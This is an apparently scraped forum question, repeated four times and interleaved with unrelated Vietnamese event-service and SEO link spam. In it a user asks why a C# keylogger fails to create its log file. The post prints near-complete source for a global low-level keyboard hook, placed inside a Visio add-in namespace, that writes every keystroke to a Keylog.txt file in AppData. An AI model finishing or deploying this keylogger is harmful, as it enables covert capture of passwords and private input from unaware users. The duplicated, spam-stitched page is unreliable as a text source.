How should I record the Keyboard pressed keys in a TXT file?

I’m an enthusiastic programmer. I found out this syntax about LowLevlKeyboard to record the process of the keyboard inputs and pressed keys. I don’t think I set up the hook correctly to write into a TXT to record all inputs taken from the keyboard.

namespace VisioAddIn1
{
    public partial class ThisAddIn
    {
        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
        }

        public partial class KeyloggerForm : Form
        {
            private static IntPtr hookId = IntPtr.Zero;
            private static readonly string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Keylog.txt");
            private readonly LowLevelKeyboardProc keyboardProcess;

            private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

            public KeyloggerForm()
            {
                InitializeComponent();
                EnsureLogFileExists();
                keyboardProcess = HookCallback;
                hookId = SetHook(keyboardProcess);
            }

            private void EnsureLogFileExists()
            {
                try
                {
                    if (!File.Exists(logFilePath))
                    {
                        using (FileStream fs = File.Create(logFilePath)) { }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error creating log file: {ex.Message}");
                }
            }

            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                try
                {
                    using (Process curProcess = Process.GetCurrentProcess())
                    using (ProcessModule curModule = curProcess.MainModule)
                    {
                        IntPtr hook = SetWindowsHookEx(13, proc, curModule.BaseAddress, 0);
                        if (hook == IntPtr.Zero)
                        {
                            int errorCode = Marshal.GetLastWin32Error();
                            Debug.WriteLine($"Failed to install keyboard hook. Error Code: {errorCode}");
                        }
                        return hook;
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error setting hook: {ex.Message}");
                    return IntPtr.Zero;
                }
            }

            private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
            {
                if (nCode >= 0 && (wParam == (IntPtr)KeyHelper.WM_KEYDOWN || wParam == (IntPtr)KeyHelper.WM_SYSKEYDOWN))
                {
                    KBDLLHOOKSTRUCT kbdStruct = Marshal.PtrToStructure<KBDLLHOOKSTRUCT>(lParam);
                    Keys key = (Keys)kbdStruct.vkCode;

                    try
                    {
                        File.AppendAllText(logFilePath, $"{DateTime.Now}: {key}{Environment.NewLine}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error logging key: {ex.Message}");
                    }
                }
                return CallNextHookEx(hookId, nCode, wParam, lParam);
            }

            private class KeyHelper
            {
                public const int WM_KEYDOWN = 0x100;
                public const int WM_KEYUP = 0x101;
                public const int WM_SYSKEYDOWN = 0x104;
                public const int WM_SYSKEYUP = 0x105;
            }

            [StructLayout(LayoutKind.Sequential)]
            private struct KBDLLHOOKSTRUCT
            {
                public uint vkCode; // Virtual key code
                public uint scanCode; // Hardware scan code
                public uint flags; // Extended key flags
                public uint time; // Time stamp for the event
                public IntPtr dwExtraInfo; // Additional info
            }

            protected override void OnFormClosed(FormClosedEventArgs e)
            {
                UnhookWindowsHookEx(hookId);
                base.OnFormClosed(e);
            }

            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new KeyloggerForm());
            }
        }
    }
}

I’ve made a mistake where I should added the

[DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

and that is why I think the hook is improperly managed and can’t write the keylogger data in

private void EnsureLogFileExists()
{
    try
    {
        if (!File.Exists(logFilePath))
        {
            using (FileStream fs = File.Create(logFilePath)) { }
        }
    }
    catch (Exception ex)
    {
        Debug.WriteLine($"Error creating log file: {ex.Message}");
    }
}

The (logFilePath) is the variable where I keep the keylogs in the Keylog.txt. But whenever I run the code in Visual Studio it doesn’t create and such file. What is the solution?

New contributor

Cthulhu’s Rage is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

4

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa

How should I record the Keyboard pressed keys in a TXT file?

I’m an enthusiastic programmer. I found out this syntax about LowLevlKeyboard to record the process of the keyboard inputs and pressed keys. I don’t think I set up the hook correctly to write into a TXT to record all inputs taken from the keyboard.

namespace VisioAddIn1
{
    public partial class ThisAddIn
    {
        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
        }

        public partial class KeyloggerForm : Form
        {
            private static IntPtr hookId = IntPtr.Zero;
            private static readonly string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Keylog.txt");
            private readonly LowLevelKeyboardProc keyboardProcess;

            private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

            public KeyloggerForm()
            {
                InitializeComponent();
                EnsureLogFileExists();
                keyboardProcess = HookCallback;
                hookId = SetHook(keyboardProcess);
            }

            private void EnsureLogFileExists()
            {
                try
                {
                    if (!File.Exists(logFilePath))
                    {
                        using (FileStream fs = File.Create(logFilePath)) { }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error creating log file: {ex.Message}");
                }
            }

            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                try
                {
                    using (Process curProcess = Process.GetCurrentProcess())
                    using (ProcessModule curModule = curProcess.MainModule)
                    {
                        IntPtr hook = SetWindowsHookEx(13, proc, curModule.BaseAddress, 0);
                        if (hook == IntPtr.Zero)
                        {
                            int errorCode = Marshal.GetLastWin32Error();
                            Debug.WriteLine($"Failed to install keyboard hook. Error Code: {errorCode}");
                        }
                        return hook;
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error setting hook: {ex.Message}");
                    return IntPtr.Zero;
                }
            }

            private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
            {
                if (nCode >= 0 && (wParam == (IntPtr)KeyHelper.WM_KEYDOWN || wParam == (IntPtr)KeyHelper.WM_SYSKEYDOWN))
                {
                    KBDLLHOOKSTRUCT kbdStruct = Marshal.PtrToStructure<KBDLLHOOKSTRUCT>(lParam);
                    Keys key = (Keys)kbdStruct.vkCode;

                    try
                    {
                        File.AppendAllText(logFilePath, $"{DateTime.Now}: {key}{Environment.NewLine}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error logging key: {ex.Message}");
                    }
                }
                return CallNextHookEx(hookId, nCode, wParam, lParam);
            }

            private class KeyHelper
            {
                public const int WM_KEYDOWN = 0x100;
                public const int WM_KEYUP = 0x101;
                public const int WM_SYSKEYDOWN = 0x104;
                public const int WM_SYSKEYUP = 0x105;
            }

            [StructLayout(LayoutKind.Sequential)]
            private struct KBDLLHOOKSTRUCT
            {
                public uint vkCode; // Virtual key code
                public uint scanCode; // Hardware scan code
                public uint flags; // Extended key flags
                public uint time; // Time stamp for the event
                public IntPtr dwExtraInfo; // Additional info
            }

            protected override void OnFormClosed(FormClosedEventArgs e)
            {
                UnhookWindowsHookEx(hookId);
                base.OnFormClosed(e);
            }

            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new KeyloggerForm());
            }
        }
    }
}

I’ve made a mistake where I should added the

[DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

and that is why I think the hook is improperly managed and can’t write the keylogger data in

private void EnsureLogFileExists()
{
    try
    {
        if (!File.Exists(logFilePath))
        {
            using (FileStream fs = File.Create(logFilePath)) { }
        }
    }
    catch (Exception ex)
    {
        Debug.WriteLine($"Error creating log file: {ex.Message}");
    }
}

The (logFilePath) is the variable where I keep the keylogs in the Keylog.txt. But whenever I run the code in Visual Studio it doesn’t create and such file. What is the solution?

New contributor

Cthulhu’s Rage is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

4

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa

How should I record the Keyboard pressed keys in a TXT file?

I’m an enthusiastic programmer. I found out this syntax about LowLevlKeyboard to record the process of the keyboard inputs and pressed keys. I don’t think I set up the hook correctly to write into a TXT to record all inputs taken from the keyboard.

namespace VisioAddIn1
{
    public partial class ThisAddIn
    {
        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
        }

        public partial class KeyloggerForm : Form
        {
            private static IntPtr hookId = IntPtr.Zero;
            private static readonly string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Keylog.txt");
            private readonly LowLevelKeyboardProc keyboardProcess;

            private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

            public KeyloggerForm()
            {
                InitializeComponent();
                EnsureLogFileExists();
                keyboardProcess = HookCallback;
                hookId = SetHook(keyboardProcess);
            }

            private void EnsureLogFileExists()
            {
                try
                {
                    if (!File.Exists(logFilePath))
                    {
                        using (FileStream fs = File.Create(logFilePath)) { }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error creating log file: {ex.Message}");
                }
            }

            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                try
                {
                    using (Process curProcess = Process.GetCurrentProcess())
                    using (ProcessModule curModule = curProcess.MainModule)
                    {
                        IntPtr hook = SetWindowsHookEx(13, proc, curModule.BaseAddress, 0);
                        if (hook == IntPtr.Zero)
                        {
                            int errorCode = Marshal.GetLastWin32Error();
                            Debug.WriteLine($"Failed to install keyboard hook. Error Code: {errorCode}");
                        }
                        return hook;
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error setting hook: {ex.Message}");
                    return IntPtr.Zero;
                }
            }

            private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
            {
                if (nCode >= 0 && (wParam == (IntPtr)KeyHelper.WM_KEYDOWN || wParam == (IntPtr)KeyHelper.WM_SYSKEYDOWN))
                {
                    KBDLLHOOKSTRUCT kbdStruct = Marshal.PtrToStructure<KBDLLHOOKSTRUCT>(lParam);
                    Keys key = (Keys)kbdStruct.vkCode;

                    try
                    {
                        File.AppendAllText(logFilePath, $"{DateTime.Now}: {key}{Environment.NewLine}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error logging key: {ex.Message}");
                    }
                }
                return CallNextHookEx(hookId, nCode, wParam, lParam);
            }

            private class KeyHelper
            {
                public const int WM_KEYDOWN = 0x100;
                public const int WM_KEYUP = 0x101;
                public const int WM_SYSKEYDOWN = 0x104;
                public const int WM_SYSKEYUP = 0x105;
            }

            [StructLayout(LayoutKind.Sequential)]
            private struct KBDLLHOOKSTRUCT
            {
                public uint vkCode; // Virtual key code
                public uint scanCode; // Hardware scan code
                public uint flags; // Extended key flags
                public uint time; // Time stamp for the event
                public IntPtr dwExtraInfo; // Additional info
            }

            protected override void OnFormClosed(FormClosedEventArgs e)
            {
                UnhookWindowsHookEx(hookId);
                base.OnFormClosed(e);
            }

            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new KeyloggerForm());
            }
        }
    }
}

I’ve made a mistake where I should added the

[DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

and that is why I think the hook is improperly managed and can’t write the keylogger data in

private void EnsureLogFileExists()
{
    try
    {
        if (!File.Exists(logFilePath))
        {
            using (FileStream fs = File.Create(logFilePath)) { }
        }
    }
    catch (Exception ex)
    {
        Debug.WriteLine($"Error creating log file: {ex.Message}");
    }
}

The (logFilePath) is the variable where I keep the keylogs in the Keylog.txt. But whenever I run the code in Visual Studio it doesn’t create and such file. What is the solution?

New contributor

Cthulhu’s Rage is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

4

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa

How should I record the Keyboard pressed keys in a TXT file?

I’m an enthusiastic programmer. I found out this syntax about LowLevlKeyboard to record the process of the keyboard inputs and pressed keys. I don’t think I set up the hook correctly to write into a TXT to record all inputs taken from the keyboard.

namespace VisioAddIn1
{
    public partial class ThisAddIn
    {
        private void ThisAddIn_Startup(object sender, EventArgs e)
        {
        }

        public partial class KeyloggerForm : Form
        {
            private static IntPtr hookId = IntPtr.Zero;
            private static readonly string logFilePath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Keylog.txt");
            private readonly LowLevelKeyboardProc keyboardProcess;

            private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

            public KeyloggerForm()
            {
                InitializeComponent();
                EnsureLogFileExists();
                keyboardProcess = HookCallback;
                hookId = SetHook(keyboardProcess);
            }

            private void EnsureLogFileExists()
            {
                try
                {
                    if (!File.Exists(logFilePath))
                    {
                        using (FileStream fs = File.Create(logFilePath)) { }
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error creating log file: {ex.Message}");
                }
            }

            private static IntPtr SetHook(LowLevelKeyboardProc proc)
            {
                try
                {
                    using (Process curProcess = Process.GetCurrentProcess())
                    using (ProcessModule curModule = curProcess.MainModule)
                    {
                        IntPtr hook = SetWindowsHookEx(13, proc, curModule.BaseAddress, 0);
                        if (hook == IntPtr.Zero)
                        {
                            int errorCode = Marshal.GetLastWin32Error();
                            Debug.WriteLine($"Failed to install keyboard hook. Error Code: {errorCode}");
                        }
                        return hook;
                    }
                }
                catch (Exception ex)
                {
                    Debug.WriteLine($"Error setting hook: {ex.Message}");
                    return IntPtr.Zero;
                }
            }

            private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
            {
                if (nCode >= 0 && (wParam == (IntPtr)KeyHelper.WM_KEYDOWN || wParam == (IntPtr)KeyHelper.WM_SYSKEYDOWN))
                {
                    KBDLLHOOKSTRUCT kbdStruct = Marshal.PtrToStructure<KBDLLHOOKSTRUCT>(lParam);
                    Keys key = (Keys)kbdStruct.vkCode;

                    try
                    {
                        File.AppendAllText(logFilePath, $"{DateTime.Now}: {key}{Environment.NewLine}");
                    }
                    catch (Exception ex)
                    {
                        Debug.WriteLine($"Error logging key: {ex.Message}");
                    }
                }
                return CallNextHookEx(hookId, nCode, wParam, lParam);
            }

            private class KeyHelper
            {
                public const int WM_KEYDOWN = 0x100;
                public const int WM_KEYUP = 0x101;
                public const int WM_SYSKEYDOWN = 0x104;
                public const int WM_SYSKEYUP = 0x105;
            }

            [StructLayout(LayoutKind.Sequential)]
            private struct KBDLLHOOKSTRUCT
            {
                public uint vkCode; // Virtual key code
                public uint scanCode; // Hardware scan code
                public uint flags; // Extended key flags
                public uint time; // Time stamp for the event
                public IntPtr dwExtraInfo; // Additional info
            }

            protected override void OnFormClosed(FormClosedEventArgs e)
            {
                UnhookWindowsHookEx(hookId);
                base.OnFormClosed(e);
            }

            [STAThread]
            static void Main()
            {
                Application.EnableVisualStyles();
                Application.SetCompatibleTextRenderingDefault(false);
                Application.Run(new KeyloggerForm());
            }
        }
    }
}

I’ve made a mistake where I should added the

[DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);

            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);

and that is why I think the hook is improperly managed and can’t write the keylogger data in

private void EnsureLogFileExists()
{
    try
    {
        if (!File.Exists(logFilePath))
        {
            using (FileStream fs = File.Create(logFilePath)) { }
        }
    }
    catch (Exception ex)
    {
        Debug.WriteLine($"Error creating log file: {ex.Message}");
    }
}

The (logFilePath) is the variable where I keep the keylogs in the Keylog.txt. But whenever I run the code in Visual Studio it doesn’t create and such file. What is the solution?

New contributor

Cthulhu’s Rage is a new contributor to this site. Take care in asking for clarification, commenting, and answering.
Check out our Code of Conduct.

4

Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa Dịch vụ tổ chức sự kiện 5 sao Thông tin về chúng tôi Dịch vụ sinh nhật bé trai Dịch vụ sinh nhật bé gái Sự kiện trọn gói Các tiết mục giải trí Dịch vụ bổ trợ Tiệc cưới sang trọng Dịch vụ khai trương Tư vấn tổ chức sự kiện Hình ảnh sự kiện Cập nhật tin tức Liên hệ ngay Thuê chú hề chuyên nghiệp Tiệc tất niên cho công ty Trang trí tiệc cuối năm Tiệc tất niên độc đáo Sinh nhật bé Hải Đăng Sinh nhật đáng yêu bé Khánh Vân Sinh nhật sang trọng Bích Ngân Tiệc sinh nhật bé Thanh Trang Dịch vụ ông già Noel Xiếc thú vui nhộn Biểu diễn xiếc quay đĩa Dịch vụ tổ chức tiệc uy tín Khám phá dịch vụ của chúng tôi Tiệc sinh nhật cho bé trai Trang trí tiệc cho bé gái Gói sự kiện chuyên nghiệp Chương trình giải trí hấp dẫn Dịch vụ hỗ trợ sự kiện Trang trí tiệc cưới đẹp Khởi đầu thành công với khai trương Chuyên gia tư vấn sự kiện Xem ảnh các sự kiện đẹp Tin mới về sự kiện Kết nối với đội ngũ chuyên gia Chú hề vui nhộn cho tiệc sinh nhật Ý tưởng tiệc cuối năm Tất niên độc đáo Trang trí tiệc hiện đại Tổ chức sinh nhật cho Hải Đăng Sinh nhật độc quyền Khánh Vân Phong cách tiệc Bích Ngân Trang trí tiệc bé Thanh Trang Thuê dịch vụ ông già Noel chuyên nghiệp Xem xiếc khỉ đặc sắc Xiếc quay đĩa thú vị
Trang chủ Giới thiệu Sinh nhật bé trai Sinh nhật bé gái Tổ chức sự kiện Biểu diễn giải trí Dịch vụ khác Trang trí tiệc cưới Tổ chức khai trương Tư vấn dịch vụ Thư viện ảnh Tin tức - sự kiện Liên hệ Chú hề sinh nhật Trang trí YEAR END PARTY công ty Trang trí tất niên cuối năm Trang trí tất niên xu hướng mới nhất Trang trí sinh nhật bé trai Hải Đăng Trang trí sinh nhật bé Khánh Vân Trang trí sinh nhật Bích Ngân Trang trí sinh nhật bé Thanh Trang Thuê ông già Noel phát quà Biểu diễn xiếc khỉ Xiếc quay đĩa
Thiết kế website Thiết kế website Thiết kế website Cách kháng tài khoản quảng cáo Mua bán Fanpage Facebook Dịch vụ SEO Tổ chức sinh nhật